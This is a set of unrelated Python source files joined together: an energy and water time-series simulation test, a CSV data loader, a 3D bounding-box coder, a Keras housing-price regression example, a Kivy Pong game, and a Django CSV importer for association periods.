    random_numbers_water=np.zeros(10)
    sigmawater=np.sqrt(sigma_water[1,1]) #standard deviation for water
    sigmaload=np.sqrt(sigma_water[0,0]) #Standard deviation for load
    p=sigma_water[1,0]/(sigmawater*sigmaload) #rho in the covariance matrix
    for i in range(10):
        random_numbers_water[i]=rng_water.normal(sigmawater/sigmaload*p*random_numbers_load[i,0],np.sqrt((1-p**2))*sigmawater)

    results_windsun=np.zeros((10,3))
    results_loads=np.zeros((10,2))
    results_water=np.zeros(10)
    for i in range(10):
        results_windsun[i]=matrix_windsun@results_windsun[i-1]+random_numbers_windsun[i]
        results_loads[i]=matrix_load_ar1@results_loads[i-1]+matrix_load_ar2@results_loads[i-2]+matrix_load_ar3@results_loads[i-3]+random_numbers_load[i]
    results=np.zeros((10,6))
    for i in range(0,4):
        results_water[i]=random_numbers_water[i]
    for i in range(4,8):
        mean=np.mean(results_water[0:4])
        results_water[i]=random_numbers_water[i]+mean*1.189324
    for i in range(8,10):
        mean=np.mean(results_water[4:8])
        mean_prev=np.mean(results_water[0:4])
        results_water[i]=random_numbers_water[i]+mean*1.189324+mean_prev*(-0.484997)
    for i in range(10):
        time=i+(start_year-2017)*52
        results[i,0]=np.exp(functions[0](time)+results_windsun[i,0]) #Norwegian wind
        results[i,2]=np.exp(functions[2](time)+results_loads[i,0]) #Norwegian load
        results[i,1]=np.exp(functions[1](time)+results_windsun[i,1]) #German wind
        results[i,3]=np.exp(functions[3](time)+results_loads[i,1]) #German load
        results[i,4]=np.exp(functions[4](time)+results_water[i]) #Water NO
        results[i,5]=np.exp(functions[5](time)+results_windsun[i,2]) #German sun
    assert np.all(np.abs(results.T-simulation_results)<0.01)
simulate_5_steps_test()


## read params
## process
## return dataframe
import os
import yaml
import pandas as pd
import argparse

#read the params from the config path and it will return a dictionary(yaml file)
def read_params(config_path):
    with open(config_path) as yaml_file:
        config = yaml.safe_load(yaml_file)
    return config

#This function will get the data
def get_data(config_path):
    #read the params from configaration file from the configaration path
    config = read_params(config_path) #here calling the above method read_params()
    #print(config)
    #
    data_path = config["data_source"]["s3_source"]
    df = pd.read_csv(data_path, sep=",", encoding='utf-8')
    #print(df.head())
    return df  #here we are returning df and this df value will go and assign to a data in the below main method

if __name__=="__main__":
    args = argparse.ArgumentParser()
    args.add_argument("--config", default="params.yaml")
    parsed_args = args.parse_args()
    data = get_data(config_path=parsed_args.config)


import torch

from mmdet.core.bbox import BaseBBoxCoder
from mmdet.core.bbox.builder import BBOX_CODERS

@BBOX_CODERS.register_module()
class CameraBBoxCoder(BaseBBoxCoder):
    def __init__(self, code_size=8):
        self.code_size = code_size

    def encode(self, dst_boxes):
        targets = torch.zeros([dst_boxes.shape[0], self.code_size]).to(dst_boxes.device)
        targets[:, 3] = dst_boxes[:, 3].log()
        targets[:, 4] = dst_boxes[:, 4].log()
        targets[:, 5] = dst_boxes[:, 5].log()
        targets[:, 6] = torch.sin(dst_boxes[:, 6])
        targets[:, 7] = torch.cos(dst_boxes[:, 6])

        targets[:, 0] = dst_boxes[:, 0]
        targets[:, 1] = dst_boxes[:, 1] - 0.5 * dst_boxes[:, 4]
        targets[:, 2] = dst_boxes[:, 2]

        if self.code_size == 10:
            targets[:, 8:10] = dst_boxes[:, 7:]
        return targets

    def decode(self, cls, rot, dim, center, vel):
        """Decode bboxes.

        Args:
            cls (torch.Tensor): Heatmap with the shape of [B, num_cls, num_proposals].
            rot (torch.Tensor): Rotation with the shape of
                [B, 2, num_proposals].
            dim (torch.Tensor): Dim of the boxes with the shape of
                [B, 3, num_proposals].
            center (torch.Tensor): bev center of the boxes with the shape of
                [B, 3, num_proposals]. (in feature map metric)
            vel (torch.Tensor): Velocity with the shape of [B, 2, num_proposals].

        Returns:
            list[dict]: Decoded boxes.
        """
        # class label
        final_preds = cls.max(1, keepdims=False).indices
        final_scores = cls.max(1, keepdims=False).values

        dim[:, 0, :] = dim[:, 0, :].exp()
        dim[:, 1, :] = dim[:, 1, :].exp()
        dim[:, 2, :] = dim[:, 2, :].exp()
        # dim = torch.exp(dim)
        rots, rotc = rot[:, 0:1, :], rot[:, 1:2, :]
        rot = torch.atan2(rots, rotc)

        center = center.clone()
        center[:, 1, :] = center[:, 1, :] + 0.5 * dim[:, 1, :]

        if vel is None:
            final_box_preds = torch.cat([center, dim, rot], dim=1).permute(0, 2, 1)
        else:
            final_box_preds = torch.cat([center, dim, rot, vel], dim=1).permute(0, 2, 1)

        predictions_dicts = []
        for i in range(cls.shape[0]):
            boxes3d = final_box_preds[i]
            scores = final_scores[i]
            labels = final_preds[i]
            predictions_dict = {
                'bboxes': boxes3d,
                'scores': scores,
                'labels': labels
            }
            predictions_dicts.append(predictions_dict)

        return predictions_dicts

    @staticmethod
    def decode_yaw(bbox, centers2d, cam2img):
        bbox[:, 6] = torch.atan2(centers2d[:, 0] - cam2img[0, 2], cam2img[0, 0]) + bbox[:, 6]

        return bbox


from __future__ import absolute_import, division, print_function

import tensorflow as tf
from tensorflow import keras
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

print('tensorflow version:', tf.__version__)

# 1) get data
boston_housing = keras.datasets.boston_housing

(train_data, train_labels), (test_data, test_labels) = boston_housing.load_data(path='boston_housing.npz')

print('Training set:{}'.format(train_data.shape)) # 404 examples, 13 features
print('Testing set:{}'.format(test_data.shape)) # 102 examples, 13 features

print(train_data[0])

column_names = ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD',
                'TAX', 'PTRATIO', 'B', 'LSTAT']
df = pd.DataFrame(train_data, columns=column_names)
print(df.head())

print(train_labels[0:10])

# 2) feature normalize
mean = train_data.mean(axis=0)
std = train_data.std(axis=0)
train_data = (train_data - mean) / std
test_data = (test_data - mean) / std
print(train_data[0])

# 3) create model
def build_model():
	model = keras.Sequential([
		keras.layers.Dense(64, activation=tf.nn.relu, input_shape=(train_data.shape[1],)),
		keras.layers.Dense(64, activation=tf.nn.relu),
		keras.layers.Dense(1)
		])
	optimizer = tf.train.RMSPropOptimizer(0.001)
	model.compile(loss='mse', optimizer=optimizer, metrics=['mae'])
	return model

model = build_model()
model.summary()

# 4) train the model
class PrintDot(keras.callbacks.Callback):
	"""docstring for PrintDot"""
	def on_epoch_end(self, epoch, logs):
		if epoch % 100 == 0:
			print('')
		print('.', end='')

EPOCHS = 500

history = model.fit(train_data, train_labels, epochs=EPOCHS, validation_split=0.2, verbose=0, callbacks=[PrintDot()])

def plot_history(history):
	plt.figure()
	plt.xlabel('Epoch')
	plt.ylabel('Mean Abs Error [1000$]')
	plt.plot(history.epoch, np.array(history.history['mean_absolute_error']), label='Train Loss')
	plt.plot(history.epoch, np.array(history.history['val_mean_absolute_error']), label='Val Loss')
	plt.legend()
	plt.ylim([0, 5])
	# plt.show()

# plt.subplot(1,3,1)
plot_history(history)

# stop train early when loss descend hardly
model_early = build_model()
early_stop = keras.callbacks.EarlyStopping(monitor='val_loss', patience=20)
history_early = model_early.fit(train_data, train_labels, epochs=EPOCHS, validation_split=0.2, verbose=0, callbacks=[early_stop, PrintDot()])
# plt.subplot(1,3,2)
plot_history(history_early)

# 5) evaluate test data
[loss, mae] = model.evaluate(test_data, test_labels, verbose=0)
print('Testing set Mean Abs Error:${:7.2f}'.format(mae*1000))

# 6) predict
test_prediction = model.predict(test_data).flatten()
# plt.subplot(1,3,3)
plt.figure()
plt.scatter(test_labels, test_prediction)
plt.xlabel('True Values [1000$]')
plt.ylabel('Prediction [1000$]')
plt.axis('equal')
plt.xlim(plt.xlim())
plt.ylim(plt.ylim())
_ = plt.plot([-100, 100], [-100, 100])

error = test_prediction - test_labels
plt.figure()
plt.hist(error, bins=50)
plt.xlabel('Prediction Error [1000$]')
plt.ylabel('Count')

plt.show()


import os
from random import randint
from functools import partial
from datetime import datetime

from config.log_config import LogConfig
from config.pong_enum import PathEnum, ButtonNamesEnum

from kivy.app import App
from kivy.uix.widget import Widget
from kivy.uix.button import Button
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.popup import Popup
from kivy.uix.label import Label
from kivy.properties import NumericProperty, ReferenceListProperty, ObjectProperty, StringProperty
from kivy.vector import Vector
from kivy.clock import Clock
from kivy.core.audio import SoundLoader

log_config = LogConfig()
logger = log_config.configurate_log()

class PongBall(Widget):
    balls_list = os.listdir(PathEnum.BALLS_PATH_ENUM)
    ball_image = StringProperty(PathEnum.BALLS_PATH_ENUM + '/' + balls_list[0])

    velocity_x = NumericProperty(0)
    velocity_y = NumericProperty(0)
    velocity = ReferenceListProperty(velocity_x, velocity_y)

    def move(self):
        self.pos = Vector(*self.velocity) + self.pos

class PongPaddle(Widget):
    score = NumericProperty(0)

    def __init__(self, **kwargs):
        super(PongPaddle, self).__init__(**kwargs)
        self.bounce_sound = SoundLoader.load(PathEnum.BOUNCE_SOUND_PATH_ENUM)

    def bounce_ball(self, ball):
        if self.collide_widget(ball):
            self.bounce_sound.play()
            vx, vy = ball.velocity
            offset = (ball.center_y - self.center_y) / (self.height / 2)
            bounced = Vector(-1 * vx, vy)
            vel = bounced * 1.15
            ball.velocity = vel.x, vel.y + offset
            logger.debug('Game: Ball bounced')

class PongGame(Widget):
    ball = ObjectProperty(None)
    player1 = ObjectProperty(None)
    player2 = ObjectProperty(None)
    is_running = False
    vs_ai = True
    result = StringProperty('')
    start_time = NumericProperty(0)
    elapsed_time = NumericProperty(0)
    backgrounds_list = os.listdir(PathEnum.BACKGROUNDS_PATH_ENUM)
    background_image = StringProperty(PathEnum.BACKGROUNDS_PATH_ENUM + '/' + backgrounds_list[0])

    def __init__(self, **kwargs):
        super(PongGame, self).__init__(**kwargs)
        self.start_button = None
        self.mode_button = None
        self.background_image_button = None
        self.ball_button = None
        self.white_sound = SoundLoader.load(PathEnum.WHITE_SOUND_PATH_ENUM)
        self.move_paddle_event = None  # Event for moving paddles

    def change_background(self, instance):
        logger.debug('UI: Background changed')
        for i in range(len(self.backgrounds_list)):
            if PathEnum.BACKGROUNDS_PATH_ENUM + '/' + self.backgrounds_list[i] == self.background_image:
                if i + 1 == len(self.backgrounds_list):
                    self.background_image = PathEnum.BACKGROUNDS_PATH_ENUM + '/' + self.backgrounds_list[0]
                    break
                else:
                    self.background_image = PathEnum.BACKGROUNDS_PATH_ENUM + '/' + self.backgrounds_list[i + 1]
                    break

    def change_ball(self, instance):
        logger.debug('UI: Ball changed')
        for i in range(len(self.ball.balls_list)):
            if PathEnum.BALLS_PATH_ENUM + '/' + self.ball.balls_list[i] == self.ball.ball_image:
                if i + 1 == len(self.ball.balls_list):
                    self.ball.ball_image = PathEnum.BALLS_PATH_ENUM + '/' + self.ball.balls_list[0]
                    break
                else:
                    self.ball.ball_image = PathEnum.BALLS_PATH_ENUM + '/' + self.ball.balls_list[i + 1]
                    break

    def serve_ball(self, vel=(8, 2)):
        self.ball.center = self.center
        angle = randint(10, 60)  # угол 10 и 240 градусов
        self.ball.velocity = Vector(vel[0], vel[1]).rotate(angle)
        logger.debug('Game: Ball Start')

    def update(self, dt):
        if not self.is_running:
            return

        current_time = datetime.now().timestamp()
        self.elapsed_time = current_time - self.start_time
        self.ball.move()
        self.player1.bounce_ball(self.ball)
        self.player2.bounce_ball(self.ball)

        if (self.ball.y < 0) or (self.ball.top > self.height):
            self.ball.velocity_y *= -1

        if self.ball.x < self.x:
            self.player2.score += 1
            self.serve_ball(vel=(8, 0))

        if self.ball.x > self.width:
            self.player1.score += 1
            self.serve_ball(vel=(-8, 0))

        if self.vs_ai:
            self.move_ai_paddle()

        self.check_results()

    def check_results(self):
        if self.player1.score == 5 or self.player2.score == 5:
            self.is_running = False
            Clock.unschedule(self.update)
            self.show_results()

    def on_touch_move(self, touch):
        if self.vs_ai:
            if touch.x < self.width / 3:
                self.player1.center_y = touch.y
        else:
            if touch.x < self.width / 3:
                self.player1.center_y = touch.y
            elif touch.x > self.width - self.width / 3:
                self.player2.center_y = touch.y

    def show_results(self):
        logger.debug('UI: Pop up created')
        if self.player1.score > self.player2.score:
            winner = "Red Wins!"
        else:
            winner = "Blue Wins!"

        logger.debug(f'Game: {winner}')

        score_message = "Red Score: {}\nBlue Score: {}\nElapsed Time: {:.2f} seconds".format(
            self.player1.score, self.player2.score, self.elapsed_time)

        winner_label = Label(text=winner, font_size='40sp')
        score_label = Label(text=score_message)

        # Создаем BoxLayout для размещения виджетов Label
        layout = BoxLayout(orientation='vertical', padding=(0, 30))
        layout.add_widget(winner_label)
        layout.add_widget(score_label)

        # Создаем Popup с новым контентом
        message_box = Popup(title="Game Over", content=layout, size_hint=(None, None), size=(700, 700))
        message_box.open()

        self.return_to_main_menu()

    def return_to_main_menu(self):
        self.is_running = False
        self.enable_menu()
        self.reset_score()
        Clock.unschedule(self.update)
        self.ball.velocity = (0, 0)
        self.ball.center = self.center
        self.serve_ball()  # Serve the ball for the next match
        self.start_time = 0
        self.elapsed_time = 0
        logger.debug('Game: Returned to main menu')

    def start_game(self, instance):
        self.is_running = True
        self.disable_menu()
        self.reset_score()
        self.serve_ball()
        self.start_time = datetime.now().timestamp()
        logger.debug('Game: Match started')

        if self.vs_ai:
            self.player2.center_y = self.center_y

        Clock.unschedule(self.update)  # Unscheduling previous updates
        Clock.schedule_interval(self.update, 1.0 / 60)  # Schedule the update again

        # Start moving paddles
        self.move_paddle_event = Clock.schedule_interval(partial(self.move_paddles), 1.0 / 60)

    def reset_score(self):
        self.player1.score = 0
        self.player2.score = 0

    def switch_mode(self, instance):
        self.vs_ai = not self.vs_ai
        instance.text = "AI Mode" if self.vs_ai else "2 Players Mode"
        logger.debug('Game: Mode switched to AI Mode' if self.vs_ai else 'Game: Mode switched to 2 Players')

    def move_paddles(self, dt):
        if self.vs_ai:
            self.move_ai_paddle()

    def move_ai_paddle(self):
        if self.ball.center_y > self.player2.center_y:
            self.player2.center_y += min(4.5, self.ball.center_y - self.player2.center_y)
        elif self.ball.center_y < self.player2.center_y:
            self.player2.center_y -= min(4.5, self.player2.center_y - self.ball.center_y)

    def disable_menu(self):
        self.start_button.disabled = True
        self.start_button.opacity = 0
        self.mode_button.disabled = True
        self.mode_button.opacity = 0
        self.background_image_button.disabled = True
        self.background_image_button.opacity = 0
        self.ball_button.disabled = True
        self.ball_button.opacity = 0

    def enable_menu(self):
        self.start_button.disabled = False
        self.start_button.opacity = 1
        self.mode_button.disabled = False
        self.mode_button.opacity = 1
        self.background_image_button.disabled = False
        self.background_image_button.opacity = 1
        self.ball_button.disabled = False
        self.ball_button.opacity = 1

class PongApp(App):

    def build(self):
        game = PongGame()
        layout = BoxLayout(orientation='vertical', spacing=20, padding=(30, 0, 0, 0))

        game.start_button = Button(text=ButtonNamesEnum.START_BTN_ENUM, size_hint=(None, None), size=(290, 100))
        game.start_button.bind(on_press=game.start_game)
        layout.add_widget(game.start_button)

        game.mode_button = Button(text=ButtonNamesEnum.GAME_MODE_BTN_ENUM, size_hint=(None, None),
                                  size=(290, 100))
        game.mode_button.bind(on_press=game.switch_mode)
        layout.add_widget(game.mode_button)

        game.background_image_button = Button(text=ButtonNamesEnum.CHANGE_TABLE_BTN_ENUM, size_hint=(None, None),
                                              size=(290, 100))
        game.background_image_button.bind(on_press=game.change_background)
        layout.add_widget(game.background_image_button)

        game.ball_button = Button(text=ButtonNamesEnum.CHANGE_BALL_BTN_ENUM, size_hint=(None, None),
                                  size=(290, 100))
        game.ball_button.bind(on_press=game.change_ball)
        layout.add_widget(game.ball_button)

        layout.add_widget(Widget(size_hint=(1, 1)))
        game.add_widget(layout)

        # Play the chill.mp3 song
        game.white_sound.loop = True
        game.white_sound.volume = 0.08
        game.white_sound.play()

        logger.debug('Game: Game started')
        return game

if __name__ == '__main__':
    PongApp().run()


import csv
import datetime
import logging

from sme_ptrf_apps.core.models import Associacao, Periodo
from sme_ptrf_apps.core.models.arquivo import (
    DELIMITADOR_PONTO_VIRGULA,
    DELIMITADOR_VIRGULA,
    ERRO,
    PROCESSADO_COM_ERRO,
    SUCESSO,
)

logger = logging.getLogger(__name__)
CODIGO_EOL = 0
PERIODO = 1
__DELIMITADORES = {',': DELIMITADOR_VIRGULA, ';': DELIMITADOR_PONTO_VIRGULA}

def processa_periodo_inicial(reader, arquivo):
    logs = ""
    importados = 0
    erros = 0
    for index, row in enumerate(reader):
        if index != 0:
            logger.info('Linha %s: %s', index, row)
            associacao = get_associacao(str(row[CODIGO_EOL]).strip())
            if not associacao:
                msg_erro = f"Associação ({str(row[CODIGO_EOL])}) não encontrado. Linha: {index}"
                logger.info(msg_erro)
                logs = f"{logs}\n{msg_erro}"
                erros += 1
                continue

            periodo = get_periodo(str(row[PERIODO]).strip())
            if not periodo:
                msg_erro = f"Período ({str(row[PERIODO])}) não encontrado. Linha: {index}"
                logger.info(msg_erro)
                logs = f"{logs}\n{msg_erro}"
                erros += 1
                continue

            associacao.periodo_inicial = periodo
            associacao.save()
            logger.info("Periodo inicial da associação %s importado com sucesso.", associacao)
            importados += 1

    if importados > 0 and erros > 0:
        arquivo.status = PROCESSADO_COM_ERRO
    elif importados == 0:
        arquivo.status = ERRO
    else:
        arquivo.status = SUCESSO

    logs = f"{logs}\nImportados {importados} períodos iniciais. Erro na importação de {erros} períodos iniciais."
    logger.info(f'Importados {importados} períodos iniciais. Erro na importação de {erros} períodos iniciais.')

    arquivo.log = logs
    arquivo.save()

def get_associacao(eol):
    if Associacao.objects.filter(unidade__codigo_eol=eol).exists():
        return  Associacao.objects.filter(unidade__codigo_eol=eol).get()
    return None

def get_periodo(referencia):
    if Periodo.objects.filter(referencia=referencia).exists():
        return Periodo.objects.filter(referencia=referencia).get()
    return None

def carrega_periodo_inicial(arquivo):
    logger.info("Executando Carga de Período inicial para associações.")
    arquivo.ultima_execucao = datetime.datetime.now()

    try:
        with open(arquivo.conteudo.path, 'r', encoding="utf-8") as f:
            sniffer = csv.Sniffer().sniff(f.readline())
            f.seek(0)
            if  __DELIMITADORES[sniffer.delimiter] != arquivo.tipo_delimitador:
                msg_erro = f"Formato definido ({arquivo.tipo_delimitador}) é diferente do formato do arquivo csv ({__DELIMITADORES[sniffer.delimiter]})"
                logger.info(msg_erro)
                arquivo.status = ERRO
                arquivo.log = msg_erro
                arquivo.save()
                return

            reader = csv.reader(f, delimiter=sniffer.delimiter)
            processa_periodo_inicial(reader, arquivo)

        logger.info("Carga de Períodos efetuada com sucesso.")
    except Exception as err:
        logger.info("Erro ao processar períodos: %s", str(err))
        arquivo.log = "Erro ao processar períodos."
        arquivo.save()